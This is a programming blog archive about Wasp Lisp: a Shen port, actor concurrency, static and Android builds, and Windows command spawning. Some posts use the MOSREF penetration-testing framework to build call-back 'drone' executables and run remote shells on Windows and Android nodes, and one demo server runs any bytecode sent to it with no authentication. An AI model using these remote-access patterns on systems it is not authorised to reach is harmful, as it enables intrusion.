Bluish Coder: waspvm

Shen Language Port for Wasp Lisp

2017-04-24T23:00:00+12:00

This post intersects two of my favourite lispy languages. Shen is a functional programming language with a number of interesting features. These include:

Optional static type checking
Pattern matching
Integrated Prolog system
Parsing libraries

I've written about Shen Prolog before which gives a bit of a feel for the language.

Wasp Lisp is a small Scheme-like lisp with lightweight concurrency and the ability to send bytecode across the network. It's used in the MOSREF secure remote injection framework. I've written a number of posts about it.

A feature of Shen is that it is designed to run on top of a lighter weight lisp called KLambda. KLambda has only about 46 primitives, many of which already exist in lisp systems, making it possible to write compilers to other languages without too much work. There exist a few Shen ports already. I wanted to port Shen to Wasp Lisp so I can experiment with using the pattern matching, Prolog and types in some of the distributed Wasp code I use.

Wasp Lisp is not actively developed but the author Scott Dunlop monitors the github repository and processes pull requests. Shen requires features that Wasp Lisp doesn't currently support, like real numbers. I maintain a fork on github that implements the features that Shen needs and any features that apply back to core Wasp Lisp I'll upstream.

This port is heavily based on the Shen Scheme implementation. Much of the code is ported from Scheme to Wasp Lisp and the structure is kept the same. The license for code I wrote is the same as the Shen Scheme License, BSD3-Clause.

The Shen Source is written in the Shen language. Using an existing Shen implementation this source is compiled to Klambda:

$ shen-chibi
(0-) (load "make.shen")
(1-) (make)
compiling ...

To port to another language then becomes writing a KLambda interpreter or compiler. In this case it's a compiler from KLambda to Wasp Lisp. Implementing the primitives is also required but there aren't many of them. Some of the characters that KLambda uses in symbols aren't compatible with the Wasp reader so I used an S-expression parser to read the KLambda code and then walked the tree converting expressions as it went. This is written in Wasp code, converted from the original Scheme. In hindsight it probably would have been easier to write this part in Shen and bootstrap it in another Shen instance to make use of Shen's parsing and pattern matching libraries.

Shen makes heavy use of tail calls in code meaning some form of tail call optimisation is needed to be efficient. In a previous post I mentioned some places where Wasp doesn't identify tail calls. These are cases Shen hit a lot, causing performance issues. I made some changes to the optimizer to identify these cases and it improved the Shen on Wasp runtime performance quite a bit.

Current Port State

This is a very early version. I've only just got it working. The Shen tests pass with the exception of the Proof Assistant test which hangs when loading.

Note 2017-04-26: The bug with the proof assistant test not passing is now fixed. It was caused by an integer overflow when computing complexities within the Shen prolog code. Wasp integers are smaller than other Shen implementations which is why none of them hit the issue. The binaries have been updated with this fix.

The port is slower than I'd like - about half the speed of the Shen C interpreter and significantly slower than Shen Scheme and Shen on SBCL. I've done some work on optimizing tail calls in the fork of the Wasp VM for Shen but there's much more work on the entire port that could improve things.

Binaries

The following compiled binaries are available:

shen_static.bz2. This is a static 64-bit linux binary with no dependancies. It should run on any 64-bit Linux system. Decompress with:

$ bunzip2 shen_static.bz2
$ chmod +x shen_static
$ ./shen_static

shen_macos.bz2. 64-bit binary for Mac OS. Decompress with bunzip2 as above.

shen.zip. The zip file contains a Windows 64-bit binary, shen.exe. It should run on any modern 64-bit Windows system.

Building

First step, build the fork of Wasp Lisp needed to run:

$ git clone --branch shen https://github.com/doublec/WaspVM wasp-shen
$ cd wasp-shen
$ make install

Follow the prompts for the location to install the wasp lisp binaries and add that bin directory of that location to your path:

$ export PATH=$PATH:/path/to/install/bin

Shen is provided in source code format from the Shen Sources github repository. The code is written in Shen. It needs a working Shen system to compile that code to KLambda, a small Lisp subset that Shen uses as a virtual machine.

This KLamda code can be found in the kl directory in the shen-wasp repository. These KLambda files are compiled to Wasp Lisp and stored as compiled code in the compiled directory. The shen wasp repository includes a recent version of these files. To generate, or re-generate, run the following commands:

$ git clone https://github.com/doublec/shen-wasp
$ cd shen-wasp
$ rlwrap wasp
>> (import "driver")
>> (compile-all)
Compiling toplevel.kl
Compiling core.kl
Compiling sys.kl
Compiling sequent.kl
Compiling yacc.kl
Compiling reader.kl
Compiling prolog.kl
Compiling track.kl
Compiling load.kl
Compiling writer.kl
Compiling macros.kl
Compiling declarations.kl
Compiling types.kl
Compiling t-star.kl

This will create files with the Wasp Lisp code in the compiled/*.ms files, and the compiled bytecode in compiled/*.mo files.

Creating a Shen executable can be done with:

$ waspc -exe shen shen.ms
$ chmod +x shen
$ rlwrap ./shen
Shen, copyright (C) 2010-2015 Mark Tarver
www.shenlanguage.org, Shen 20.0
running under Wasp Lisp, implementation: WaspVM
port 0.3 ported by Chris Double


(0-)

Note that it takes a while to startup as it runs through the Shen and KLambda initialization.

Running from the Wasp REPL

Shen can be run and debugged from the Wasp REPL. To load the compiled code and run Shen:

$ rlwrap wasp
>> (import "driver")
>> (load-all)
>> (kl:shen.shen)
Shen, copyright (C) 2010-2015 Mark Tarver
www.shenlanguage.org, Shen 20.0
running under Wasp Lisp, implementation: WaspVM
port 0.3 ported by Chris Double


(0-)

When developing on the compiler it's useful to use eval-all instead of load-all. This will load the KLambda files, compile them to Scheme and eval them:

>> (eval-all)
>> (kl:shen.shen)
...

A single input line of Shen can be entered and run, returning to the Wasp REPL with:

>> (kl:shen.read-evaluate-print) 
(+ 1 2)
3:: 3

KLambda functions can be called from Wasp by prefixing them with kl:. For example:

>> (kl:shen.read-evaluate-print)
(define factorial
  1 -> 1
  X -> (* X (factorial (- X 1))))
factorial:: factorial
>> (kl:factorial 10)
:: 3628800

Shen allows introspecting compiled Shen functions and examining the KLambda code. From the Wasp REPL this is useful for viewing the KLambda and comparing with the generated Wasp Lisp:

>> (kl:ps 'factorial)
:: (defun factorial (V1172) (cond (...) (...)))
>> (pretty (kl:ps 'factorial))
(defun factorial (V1172 ) (cond ((= 1 V1172 ) 1 ) (#t (* V1172 (factorial (- V1172 1 ) ) ) ) ) ) :: null
>> (pretty (kl->wasp (kl:ps 'factorial)))
(begin (register-function-arity (quote factorial ) 1 )
       (define (kl:factorial V1172)
         (cond
           ((kl:= 1 V1172) 1)
           (#t (* V1172 (kl:factorial (- V1172 1))))))
       (quote factorial ) ) :: null

Cross Compilation

Wasp binaries are a small Wasp VM stub plus the compiled Lisp code appended to it. This makes building for other platforms easy as long as you have the stub for that platform. Wasp can be built for Android and static binaries via musl are possible.

I've made the following stubs available for building binaries for other systems:

Decompress them and copy into the lib/waspvm-stubs directory where Wasp Lisp was installed. Shen can then be built on any host platform for 64 bit linux, 64 bit Linux static binaries, 64 bit Windows or 64 bit Mac OS with:

$ waspc -exe shen -platform linux-x86_64 shen.ms
$ waspc -exe shen_static -platform static-linux-x86_64 shen.ms
$ waspc -exe shen.exe -platform win-x86_64 shen.ms
$ waspc -exe shen_macos -platform Darwin-x86_64 shen.ms

Learning Shen

Some places to go to learn Shen:

The Shen OS Kernel Manual has a good overview of what the open source version of Shen can do.
Shen System Functions
Kicking the tires of Shen Prolog
Shen, A Sufficiently Advanced Lisp
Shen Trick Shots
The Book of Shen

Other Ports

Concurrency in Wasp Lisp

2016-07-14T18:00:00+12:00

Wasp Lisp has a light weight co-operative threading model that's allows programming in an Actor style. It's possible to serialize Wasp values and send them to other processes and machines to be deserialized and run. MOSREF uses this to compile Lisp code on the console process and send the bytecode to drone processes to execute. This allows drones to operate without the Lisp compiler present.

Spawning threads

Threads are created using the spawn function. It takes the function to run as a thread as an argument:

(spawn (lambda () (print "Hello World\n")))

Communication between threads is done using queues. A queue is an unbounded channel that can have many senders but only one receiver. The function send adds data to the queue and wait receives data. If there is no data in the queue then wait blocks. Input/Output in Wasp Lisp is done using the same wait/send mechanism making it easy to pipeline data from console and file output to sockets.

Implementing Actors

A basic Actor can be implemented like the following:

(define (actor1)
  (define counter 0)
  (define chan (make-queue))

  (define (loop)
    (define msg (wait chan))
    (cond
      ((eq? msg 'inc)
        (set! counter (+ 1 counter)))
      ((eq? msg 'dec)
        (set! counter (- 1 counter)))
      ((and (list? msg) (eq? (car msg) 'get))
       (send counter (cadr msg))))
    (loop))

  (spawn loop)
  chan)

actor1 is a function that contains a counter holding an numeric value. It creates chan, a queue for holding messages, spawns a thread to run loop and returns the chan so messages can be queued for loop to process.

loop waits for a message on chan. This is a blocking call and the thread will go idle until a message is queued. It processes the message, incrementing or decrementing the counter as requested. An additional message, get, can be used to get the value of the counter. That message also includes a channel object to place the result in. loop recursively calls itself to continue.

A sample interaction is:

>> (define a1 (actor1))
>> (define result (make-queue))
>> (send (list 'get result) a1)
>> (wait result)
:: 0
>> (send 'inc a1)
>> (send (list 'get result) a1)
>> (wait result)
:: 1

This creates an actor and a queue to receive results. It asks for the current value of the actor, increments it, then asks again.

Updating an Actor

It's possible to update the code for an Actor without stopping the application. Running in a Lisp REPL means you can change functions on the fly but you can't change the internal implementation of a running loop from the REPL if that loop is internal to a function. A way around this is to provide the Actor with the means to receive a function as a message that performs the update. Here is an example of an updatable actor:

(define (actor3)
  (define counter 0)
  (define chan (make-queue))

  (define (loop chan)
    (define msg (wait chan))
    (cond
      ((eq? msg 'inc)
        (set! counter (+ 1 counter)))
      ((eq? msg 'dec)
        (set! counter (- 1 counter)))
      ((and (list? msg) (eq? (car msg) 'get))
       (send counter (cadr msg)))
      ((function? msg)
       (return ((msg counter) chan))))
    (loop chan))

  (spawn loop chan)
  chan)

This code contains an additional branch in the cond to check if the message is a function. If it is then that function is called passing the current value of the counter. It is expected to return a function which will be the new loop to call. This can contain any code and effectively updates the entire actor with new functionality. An example update function to change the messages to increment/decrement by two is:

(define (update oldstate)
  (define counter (* oldstate 2))
  (define (loop chan)
    (define msg (wait chan))
    (cond
      ((eq? msg 'inc)
        (set! counter (+ 2 counter)))
      ((eq? msg 'dec)
        (set! counter (- 2 counter)))
      ((and (list? msg) (eq? (car msg) 'get))
       (send counter (cadr msg)))
      ((function? msg)
       (return ((msg counter) chan))))
   (loop chan))
  loop)

An example interaction of the actor and upgrading it is:

>> (define a3 (actor3))
>> (define result (make-queue))
>> (send 'inc a3)
>> (send (list 'get result) a3)
>> (wait result)
:: 1
>> (send update a3)   ;; Updating the actor here
>> (send (list 'get result) a3)
>> (wait result)
:: 2                  ;; This shows the new counter value that 'update' changed
>> (send 'inc a3)
>> (send (list 'get result) a3)
>> (wait result)
:: 4                  ;; Amount is now incrementing by two
>> (send 'inc a3)
>> (send (list 'get result) a3)
>> (wait result)
:: 6

This is a variant of Joe Armstrong's Erlang Universal Server allowing a server to be updated to do anything.

Filters

An idiom when programming in an Actor or coroutine style is to write small processes that take an input, modify it in some way, and send it to another process to do something else. A program becomes a chain or pipeline of these individual processes. Wasp Lisp calls these small units of functionality filters. They are described in filter.ms as:

A process that waits for data from an input channel, and sends data to an output channel. Filters are constructed using a constructor function, then wired together using either the input-chain or output-chain functions."

This is an example of a line filter from the Wasp source code;

(define-filter (line-filter)
  (define buf (make-string 80)) 

  (define (parse)
    (forever
      (define next (string-read-line! buf))
      (if next (send next out)
               (return))))

  (define (line-loop)
    (forever
      (define next (wait-input in))
      (cond 
        ((string? next)
         (string-append! buf next)
         (parse))
        ((eq? next 'close)
         (return))
        (else
          (send-output next out)))))

  (line-loop)

  (send-output buf out)
  (send-output 'close out))

A line-filter receives strings of bytes on the input channel and outputs a complete line on the output channel when it has one. It does this by appending received bytes onto a string buffer and checking if that buffer contains a line. If it does it removes the line data from the buffer and sends it to the output channel. It then continues to wait for data on the input channel. An example of usage:

>> (import "lib/filter")
>> (import "lib/line-filter")
>> (define q (make-queue))
>> (define lines (input-chain q (line-filter)))
>> (spawn (lambda () (forever (print (wait lines)))))

>> (send "hello" q)
>> (send "world\n" q)
helloworld
>> (send "foo\nbar" q)
foo
>> (send "baz\n" q)
barbaz

This creates a queue, q for input data. It creates a chain containing only one filter, the line-filter. It returns the output channel which contains the filtered data. Data placed in q is retrieved by the line filter and when a line is received it is sent to the output channel. A thread is spawned to loop forever printing any lines from the output channel. Notice in the manual sending of data to the channel q that output is only printed by the spawned thread when a line is completed.

Wasp Lisp comes with some default filters for parsing s-expressions, encrypting and decrypting data and fuzzing data amongst other things. Scott Dunlop wrote about coroutines and filters on the Wasp blog.

Sending data to other OS processes

Some Wasp values can be serialized and deserialized. This provides a way to send values to other wasp instances running in different OS processes or machines. Lisp objects are serialized using freeze and unserialized using thaw.

The following server function starts a TCP server on port 10000. Clients connnected to it send Lisp objects to it and it prints it to the standard output on the server process.

(import "lib/tcp-server")

(define (server)
  (define server-output (current-output))

  (define (acceptor)
    (forever
      (define data (wait))
      (with-output server-output
        (print (format (thaw data)))
        (print "\n"))))

  (spawn-tcp-server 10000 acceptor))

The acceptor function is called with its current input and output bound to the TCP stream. For this reason we capture the value of current-output before it is bound so we can output to the server console rather than to the TCP stream. A sample test:

;; On server 
>> (server)

;; On client
>> (define s (tcp-connect "127.0.0.1" 10000))
>> (send (freeze "foo") s)

;; On Server
"foo"

;; On Client
>> (send (freeze 66) s)

;; On Server
66

;; On Client
>> (send (freeze '(one (two three))) s)

;; On Server
(one (two three))

Notice that all i/o is done using the 'send' and 'wait' channel operators. This means we can use a filter to do the freezing/thawing automatically and Wasp has a freeze-filter and thaw-filter that does this. The server becomes:

(import "lib/tcp-server")
(import "lib/package-filter")
(import "lib/filter")
(import "lib/format-filter")

(define (server2)             
  (define server-output (current-output))

  (define (acceptor)
    (define chan (input-chain (current-input)
                              (thaw-filter)
                              (format-filter)))
    (forever
      (define data (wait chan))
      (print* data "\n")))

  (spawn-tcp-server 10000 acceptor))

Usage from a client is:

>> (import "lib/filter")
>> (import "lib/package-filter")

>> (define s (tcp-connect "127.0.0.1" 10000))
>> (define chan (output-chain s (freeze-filter)))
>> (send "hello" chan)
>> (send '(one (two three)) chan)

Through the use of the thaw/freeze filter there is no need to manually call freeze and thaw.

Sending bytecode to other processes

Unfortunately it's not possible to freeze or thaw closures or functions. It is possible however to assemble Lisp to bytecode and send that. This enables sending new functions across OS processes and is how MOSREF is able to compile Lisp on the console and send it to the drone. This example will compile a function from source to bytecode and run it:

>> (define code '((print "Hello World\n")))
>> (define proc (assemble (optimize (compile code))))
>> (proc)
Hello World

The result of assemble can be frozen, sent somewhere and thawed:

>> (define x (freeze (assemble (optimize (compile '((print "Hello World\n")))))))
>> (define y (thaw x))
>> (y)
Hello World

Using this we can have an upgradable server process:

(define (server3)
  (define server-output (current-output))

  (define (acceptor)
    (define chan (input-chain (current-input)
                              (thaw-filter)))

    (define (loop chan)
      (define data (wait chan))
      (cond
        ((function? data)
          (return ((data) chan)))
        (else
          (print* "OLD: " (format data) "\n")
          (return (loop chan)))))
     (loop chan))

  (spawn-tcp-server 10000 acceptor))

This will display the data sent to the server prefixed by "OLD:" unless it is sent a function. In which case it calls that function as the new server loop. An upgraded server loop to prefix with "NEW: " is:

(define (new-server3)
  (assemble
    (optimize
      (compile
        '((define (loop chan)
            (define data (wait chan))
            (cond
              ((function? data)
                (return ((data) chan)))
              (else
                (print* "NEW: " (format data) "\n")
                (return (loop chan))))))))))

We can't send a function directly so this compiles the new loop from source and returns the compiled procedure. This can be frozen, sent to the server and it will execute it as the new loop. An example interaction:

;; On Server
>> (server3)

;; On Client
>> (define s (tcp-connect "127.0.0.1" 10000))
>> (define chan (output-chain s (freeze-filter)))
>> (send '(one (two three)) chan)

;; On Server
OLD: (one (two three))

;; On Client
>> (send (new-server3) chan)
>> (send '(one (two three)) chan)

;; On Server
>> NEW: (one (two three))

Why not send the source to the server process and have it eval it? The approach of sending the bytecode allows the server process to skip including the Lisp compiler. The Wasp VM includes an interpreter and deserializer - the compiler and other libraries are all in Lisp. A Wasp executable consists of the VM stub with bytecode appended to the end of it. On execution it looks for the bytecode, deserializes it and runs it. This provides a minimal program that can have functionality added by sending it bytecode as needed.

An aside on tail call optimization

It's important that a process loop is tail recursive otherwise each call through the loop will increase stack size and eventually exhaust memory. The following is not tail recursive in Wasp Lisp, even though it looks like it should be:

(define (test1 chan)
  (define msg (wait chan))
  (cond
    ((eq msg 'foo)
      (test1 chan))
    ((eq msg 'bar)
      (test1 chan))
    (else
      (test1 chan))))

This is because the recursive call to 'test1' compiles down to bytecode that looks like:

(newf)
(ldg eq)
(arg)
(ldg msg)
(arg)
(ldc bar)
(arg)
(call)
(jf false-47) ;; If the msg is not 'bar then jump to false-47
...
false-47
(newf)
(ldg test1)
(arg)
(ldg chan)
(arg)
(call)        ;; recursively call 'test1'
done-46
done-44
(retn)        ;; return from function 'test1'

The stack frame for test1 is not exited (the retn instruction) until after the recursive call is done. Compare this to the obvious tail recursive case:

(newf)
(ldg wait)
(arg)
(ldg chan)
(arg)
(call)
(stg msg)
(newf)
(ldg test2)
(arg)
(ldg chan)
(arg)
(tail)

Note that tail instruction. This does an immediate jump rather than a call so a retn is not necessary. The call stack does not grow. The difference between the two cases is due to the way the Wasp Lisp compiler generates the instructions and optimizes looking for tail calls. The instructions generated can be viewed using:

(define x '(define (test2 chan)
             (define msg (wait chan))
             (test2 chan)))
(define code (compile x))
(for-each (lambda (x) (print* (format x) "\n")) code)

Using compile shows the first pass which does not look for tail calls:

(newf)
(ldg test2)
(arg)
(ldg chan)
(arg)
(call)
(retn)

Notice the call followed by retn. This is the sequence that optimize looks for to generate the tail instruction:

(define x '(define (test2 chan)
             (define msg (wait chan))
             (test2 chan)))
(define code (optimize (compile x)))
(for-each (lambda (x) (print* (format x) "\n")) code)
...
(newf)
(ldg test2)
(arg)
(ldg chan)
(arg)
(tail)

Looking back at the instructions for test1 the call is followed by a jump or a label before retn so the optimizer misses it. This can be worked around by doing an explicit return statement:

(define (test3 chan)
  (define msg (wait chan))
  (cond
    ((eq msg 'foo)
      (return (test1 chan)))
    ((eq msg 'bar)
      (return (test1 chan)))
    (else
      (return (test1 chan)))))

The code in the cond branches generates to the following which is now a tail call:

(jf false-93)
(newf)
(ldg test1)
(arg)
(ldg chan)
(arg)
(tail)

Some things to note

The Wasp VM is single threaded and non-preemptive. Threads yield to the scheduler explicitly using yield or implicitly when doing i/o or waiting on a queue. The bytecode is cross platform. Serialized objects on one architecture can be deserialized on another. The Wasp VM history comes from Mosquito Lisp and MOSREF - a penetration testing platform. It's written in C with some GNU extensions (nested functions are used in the VM).

This post came about from exploring the difference in Actor programming in the Pony programming language and a dynamic language where the Actor model isn't explicit. The programming style is similar in that pipelines of calls to actors to transform data is a common idiom.

Wasp Lisp isn't actively developed anymore but the author, Scott Dunlop, still processes pull requests and monitors it. I like to use it for projects and tinker with it as it's an interesting little cross platform lisp. MOSREF is useful as a way to access and maintain servers of different architectures, aside from its use as a penetration testing tool.

Some other Wasp resources:

Wasp Lisp main site
Wasp Developments Blog
Source on Github
Ephemeral Security Mosquito Lisp on the Internet Archive Wayback Machine.

Building Static Wasp Lisp Binaries on Linux

2016-06-05T23:00:00+12:00

Wasp Lisp builds binaries that are linked dynamically to glibc. This ties the binary to specific versions of Linux. It's usually not possible to run on an OS with older glibc versions than what it was compiled against. I wanted to be able to run a single binary of Wasp Lisp and MOSREF drones on new Ubuntu versions and some machines with an older version of Ubuntu. To do this I needed to have the libc linked statically.

Changing Wasp Lisp to statically link glibc doesn't work though. Some networking routines in glibc require dynamic linking. If glibc is statically linked then networking doesn't work.

The solution I opted for is to use musl libc instead of glibc. This is a libc that was designed to be statically linked. To buid Wasp Lisp binaries with musl it required:

Building musl libc
Building libevent using musl libc headers
Building Wasp Lisp against musl and libevent

Building musl libc

Building musl libc requires using git to clone the repository and following the standard configure, make, make install invocations. The bin directory for the musl tools is added to the PATH:

$ git clone git://git.musl-libc.org/musl
$ cd musl
$ ./configure
$ make
$ sudo make install
$ export PATH=$PATH:/usr/local/musl/bin/

Building libevent

Building libevent with musl requires using the musl-gcc command which was installed by the previous step. This invokes GCC with the required options to use musl. The following steps performs the build:

$ wget https://github.com/libevent/libevent/releases/download/release-2.0.22-stable/libevent-2.0.22-stable.tar.gz
$ tar xvf libevent-2.0.22-stable.tar.gz
$ cd libevent-2.0.22-stable/
$ ./configure --prefix=/tmp/musl/usr CC=musl-gcc --enable-static --disable-shared
$ make
$ make install

Building Wasp Lisp

The Wasp VM source requires a change to the Makefile.cf to use static linking for all libraries. This changes:

EXEFLAGS += -Wl,-Bstatic $(STATICLIBS) -Wl,-Bdynamic $(DYNAMICLIBS)

to:

EXEFLAGS += -static $(STATICLIBS) $(DYNAMICLIBS)

I've made this change in the static branch of my github fork . This branch also includes some other changes from the official repository for real number support. Building with musl and libevent is done with:

$ git clone https://github.com/doublec/WaspVM --branch static
$ cd WaspVM
$ CC=musl-gcc CFLAGS="-I /tmp/musl/usr/include -L /tmp/musl/usr/lib" make repl

This runs directly into the Lisp REPL. The following confirms a static binary:

$ ldd wasp
not a dynamic executable

Building MOSREF

The stub generated is also static and can be used to build static drones:

$ cd mod
$ ../waspc -exe ../mosref bin/mosref
$ chmod +x ../mosref
$ ../mosref
console> set addr=xx.xx.xx.xx
console> set port=8000
console> drone mydrone foo linux-x86_64
Drone executable created.

The generated drone should run on a wider range of Linux versions than the non-static build at the cost of a larger size. I rename the waspvm-linux-x86_64 stub to be waspvm-musl-x86-64 so I can generate static drones or dynamic linked drones as needed from the MOSREF console by using linux-x86_64 or musl-x86_64 respectively.

Spawning Windows Commands in Wasp Lisp and MOSREF

2015-02-19T23:00:00+13:00

It's been a while since I last wrote about MOSREF and Wasp Lisp. MOSREF is the secure remote injection framework written in Wasp Lisp. It facilitates penetration testing by enabling a console node to spawn drone nodes on different machines. The console handles communication between nodes and can run lisp programs on any node.

The console can execute programs on other nodes with the input and output redirected to the console. One use for this is to create remote shells. MOSREF uses the Wasp Lisp function spawn-command. The implementation for this in Linux is fairly small and simple. On Windows drones it's somewhat more difficult. It's not implemented in current Wasp Lisp and attempting to use the sh command in MOSREF or the spawn-command function in Lisp fails with an error.

I've been meaning to try implementing this for quite a while and finally got around to it recently. I'm doing the work in the win_spawn branch of my github fork of WaspVM. With that version of Wasp Lisp and MOSREF built with Windows and Linux stubs available you can spawn Windows commands and capture the output:

>> (define a (spawn-command "cmd.exe /c echo hi"))
:: [win32_pipe_connection 5179A0]
>> (wait a)
:: "hi\r\n"
>> (wait a)
:: close

Bidirectional communication works too:

>> (define a (spawn-command "cmd.exe"))
:: [win32_pipe_connection 517770]
>> (wait a)
:: "Microsoft Windows ..."
>> (send "echo hi\n" a)
:: [win32-pipe-output 517748]
>> (wait a)
:: "echo hi\nhi\r\n\r\nE:\l>"
>> (send "exit\n" a)
:: [win32-pipe-output 517748]
>> (wait a)
:: "exit\n"
>> (wait a)
:: close

With that implemented and some minor changes to MOSREF to remove the check for Windows you can interact with remote Windows nodes. I made a quick video demonstrating this. There is no sound but it shows a linux console on the left and a windows shell on the right running in a VM.

I create a Windows drone and copy it to a location the Windows VM can access using the MOSREF cp command. This actually copies from the console where the drone was create to another Linux drone called tpyo. The Windows VM is running on the machine running tpyo and access the drone executable. This is run in the VM to connect to the console.

Once connected I run a few Lisp commands on the Windows node. The lisp is compiled to bytecode on the console, and the bytecode is shipped to the drone where it executes. The result then goes back to the console. This is all normal MOSREF operation and works already, I just do it to ensure things are working correctly.

Next I run a sh command which executes the command in the windows VM with the result sent back to view on the console. Then I do a typo which breaks the connection because of a bug in my code, oops. I recover the drone, reconnect, and run a remote shell like I originally intended. This spawning of commands on Windows is the new code I have implemented.

The video is available as mosref.webm, mosref.mp4 or on YouTube.

The implementation on Windows required a bunch of Win32 specific code. I followed an MSDN article on redirecting child process output and another on spawning console processes. This got the basic functionality working pretty quickly but hooking it into the Wasp Lisp event and stream systems took a bit longer.

Wasp uses libevent for asynchronous network and timer functionality. I couldn't find a way for this to be compatible with the Win32 HANDLE's that result from the console spawning code. I ended up writing derived connection, input and output Wasp VM classes for Win32 pipes that used Win32 Asynchronous RPC callbacks to avoid blocking reads. My inspiration for this was the existing Wasp routines to interact with the Win32 console used by the REPL.

A connection is basically a bidirectional stream where you can obtain an input and an output channel. A wait on an input channel receives data and a send on the output channel transmits data. When wait is called on the input channel a callback is invoked which should do the read. This can't block otherwise all Wasp VM coroutines will stop running. The callback instead sets a Win32 event which notifies a thread to read data and post the result back to the main thread via an asynchronous procedure call. A send on the output channel invokes another callback which does the write. Although this can technically block if the pipe buffers are full I currently call Write directly.

The Wasp VM scheduler has code that checks if there are any active processes running and can do a blocking wait on libevent for notification to prevent spinning a polling loop. This had the side effect of preventing the asynchronous procedure call from running as Windows only executes it at certain control points. I had to insert a check that although our reading process was de-scheduled waiting for the APC, it was in fact still around and needed the event loop to spin so a call to SleepEx occurs for the APC to run.

I'm still working on testing and debugging the implementation but it works pretty well as is. Before I submit a pull request I want to clean up the code a bit and maybe combine some of the duplicate functionality from the console handling code and the pipe code. I also need to check that I'm cleaning up resources correctly, especially the spawned reading/APC handling threads.

Some minor changes were needed to other parts of Wasp Lisp and those commits are in the github repository. They involve environment variable handling on Windows. First I had to enable the support for it, and then change it so on Windows the environment names were all uppercase. This avoided issues with Wasp looking for commands in PATH vs the Path that was set on my machine. On Windows these are case insensitive.

For building a Windows compatible Wasp VM stub and REPL I used a cross compiler on Linux. I used the gcc-mingw-w64 package in Ubuntu for this. Build wasp VM with:

$ ./configure --host=i686-w64-mingw32
$ OS=MINGW32 CC=i686-w64-mingw32-gcc make

This puts the Windows stub in the stubs directory. I copied this to the stubs directory of the node running the console so it could generate Windows drones. I had to build libevent for Windows using the same cross compiler and tweak the Wasp Makefile.cf to find it. Removing the -mno-cygwin flag was needed as well. I'll do patches to have the makefile work for cross compilation without changes if no one else gets to it.

Building Wasp Lisp and MOSREF for Android

2013-05-09T19:00:00+12:00

Wasp Lisp is a small cross platform lisp by Scott Dunlop that I've written about before and MOSREF is the secure remote injection framework that is one of the applications written with it.

I've been wanting to get Wasp running on Android and Gonk (the low level Android layer of Firefox OS) for debugging and small applications. One of the nice features of Wasp is being able to have a minimal interpreter running on a platform and send byte code from another system to that interpreter which is loaded and run. You can even send the bytecode compiler itself to be loaded and run in the interpreter to get a full system on the target. This is the basis of how MOSREF works where the drone gets sent code to run from the console system.

Standalone Toolkit

Building Wasp for Android requires generating a standalone toolchain from the Android NDK. This results in a vesion of gcc and libraries that can be run from conventional makefiles and configure scripts.

To generate a standalone toolchain to build Wasp I used:

$NDK_ROOT/build/tools/make-standalone-toolchain.sh \
      --platform=android-8 \
      --install-dir=$STK_ROOT

Replace NDK_ROOT with the path to the Android SDK and STK_ROOT with the destination where you want the standalone toolkit installed. The android-8 in the platform makes the standalone toolkit generate applications for FroYo and above (See STABLE-APIS.html.

Adding $STK_ROOT/bin to the PATH will make the compiler available:

export PATH=$PATH:$STK_ROOT/bin

Building libevent for Android

The Wasp virtual machine uses libevent to enable asynchronous operations. Building this for Android using the standalone toolkit is straightforward:

wget https://github.com/downloads/libevent/libevent/libevent-2.0.21-stable.tar.gz
tar xvf libevent-2.0.21-stable.tar.gz
cd libevent-2.0.21-stable
./configure --host=arm-linux-androideabi --prefix=$STK_ROOT
make
make install

This configures libevent to be built using the ARM compilers in the standalone toolkit and to install the resulting libraries in the same install location as the toolkit. This makes it easy for other applications to find and link with the library.

Building the Wasp stub for Android

A Wasp VM stub file is used for generating Wasp applications. The bytecode for an application is appended to the stub file and the result made to be executable. By having stubs for various operating systems and architectures you can create executables specific to them easily. To build the Android stub:

git clone git://github.com/swdunlop/WaspVM.git
cd WaspVM
STRIP=arm-linux-androideabi-strip \
  CC=arm-linux-androideabi-gcc \
  CFLAGS="-I $STK_ROOT/include -L $STK_ROOT/lib" \
  ARCH=arm-linux \
  OS=android \
  make

To build we define the correct version of the build programs to compile for ARM and set the architecture and OS to stop the build system from picking up the host system version of these. The result is a waspvm-android-arm-linux stub in the stubs directory.

Creating the host Wasp programs

To easily create Wasp programs for different platforms we'll need versions of them for the host we are running on. By doing a 'clean' followed by a 'make' on the host we'll clean out the Android build files and rebuild what's needed for the host. The 'clean' process doesn't remove the stub file we created in the previous step which still allows us to do android Wasp programs.

make clean
make

This produces a waspvm-linux-x86_64 stub in my stubs directory. To generate the Wasp interpreter and other programs:

make repl

Exit out of the repl with (exit) and there will be a wasp, waspc and waspld program for the host system. Now we can make a version of wasp for Android:

cd mod    
../waspc -exe ../awasp -platform android-arm-linux bin/wasp.ms

The waspc command takes a stub file (defined by the platform or stub argument) and appends the bytecode resulting from the compilation of the Wasp lisp code given as an argument. wasp.ms is the source for the intepreter. The output is set as awasp which is our executable for running on Android. We can use a similar command for producing Android versions of the other Wasp programs. MOSREF for example:

../waspc -exe ../amosref -platform android-arm-linux bin/mosref.ms

Running on Android

Running these executables on Android involves pushing them to somewhere writeable on the phone. If you have a rooted Android device (or a Firefox OS device) you can push them pretty much anywhere. On my non-rooted Jellybean Galaxy Note 2 I'm limited to just /data/local/tmp:

adb push awasp /data/local/tmp
adb shell
cd /data/local/tmp
chmod 0755 awasp
./awasp
>> (+ 1 2 3)
:: 6

This gives you a running Wasp interpreter. To develop and do interesting things on the phone you really need the Wasp mod files and the stub files copied over:

adb push mod /data/local/tmp
adb push stubs /data/local/tmp
adb shell
cd /data/local/tmp
./awasp
>> (import "lib/http-client")
:: #t
>> (http-response-body (http-get "http://icanhazip.com/"))
:: "xxx.xxx.xxx.xxx\n"
>> (exit)

MOSREF Android drone

It's simple now to create a MOSREF drone that runs on Android. Make sure the MOSREF console has a stubs directory containing the Android stub then create the drone as:

console> drone drone1 myphone android-arm-linux
Drone executable created.
Listening for drone on 10000...

Copy the created drone1 onto the phone and run it:

adb push mod/drone1 /data/local/tmp
adb shell
cd /data/local/tmp
chmod 0755 drone1
./drone1

Now on the console you can see the drone on the phone:

console> nodes
NODES: console online address: 192.168.1.101 port: 10000
       myphone online
console> on myphone sh ls
...directory listing...
console on myphone do (print "hello\n")
...prints hello on the phone 'adb shell' session...
console> on myphone load lib/http-file-server.ms
:: spawn-http-file-server
console> on myphone do (offer-http-file 8080 "/test" "text/plain" "Hello world!")
:: [queue 1F5DD00]

The load command shown above loads and compiles the Wasp lisp file on the host and sends the compiled bytecode to the drone on the phone. We then run the lisp code on the phone to start an HTTP server to serve data.

Wasp Lisp Respository Moves to Github

2011-01-14T22:30:00+13:00

